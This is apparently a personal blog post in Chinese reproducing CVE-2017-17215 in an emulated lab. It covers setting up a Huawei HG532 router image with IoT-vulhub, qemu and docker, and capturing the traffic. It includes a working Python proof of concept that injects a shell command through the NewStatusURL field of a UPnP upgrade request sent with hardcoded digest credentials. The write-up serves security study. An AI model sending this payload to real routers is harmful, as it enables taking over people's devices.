简单复现CVE-2017-17215

由于不想重新再开一个虚拟机,这里就直接使用IoT-vulhub这个项目来配置的环境。

CVE-2017-17215在项目中只能依赖于qemu-system启动,需要我们事先构建好相应qemu-system的docker镜像。华为 HG532路由器的固件是mips大端架构,所以先进入到/baseImage/qemu-system/mips/images下载好相应的qemu启动镜像,再去构建qemu-system:mips的docker镜像

最后按照项目的教程来就可以正常运行启动环境了。

这里是在docker中再去运行qemu-system,qemu-system中的ip在本机上是无法直接访问的,在使用ssh通过2345端口转发后,如果想使用本机的浏览器去访问路由登录界面也需要设置相应的代理

使用firefox直接去访问http://192.168.2.2/可能报错,需要在about:config中去更改security.tls.version.fallback-limit和security.tls.version.min

更改后就可以正常访问http://192.168.2.2/路由登录界面了

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox ls;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
response = requests.post('http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

运行如下:

在此过程中,可以进入docker中使用tcdump去抓取流量,然后复制到本机中用Wireshark具体分析:

1
2
3
tcpdump -i tap0 -w result.cap

docker cp 74d6970b35fb:/root/result.cap /home/kali/Desktop

这个命令注入的实现是在/bin/upnp这个文件中的sub_40749c函数引发的,通过对NewStatusURL和NewDownloadURL字符串的交叉引用,很容易在binaryninja发现该函数

参考:

华为HG532 - CVE-2017-17215漏洞简析- IOTsec-Zone物联网安全社区

[原创]华为HG532路由器命令注入漏洞分析(CVE-2017-17215)-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)


简单复现CVE-2017-17215
https://xtxtn.github.io/2023/01/01/CVE-2017-17215/
作者
xtxtn
发布于
2023年1月1日
更新于
2023年1月13日
许可协议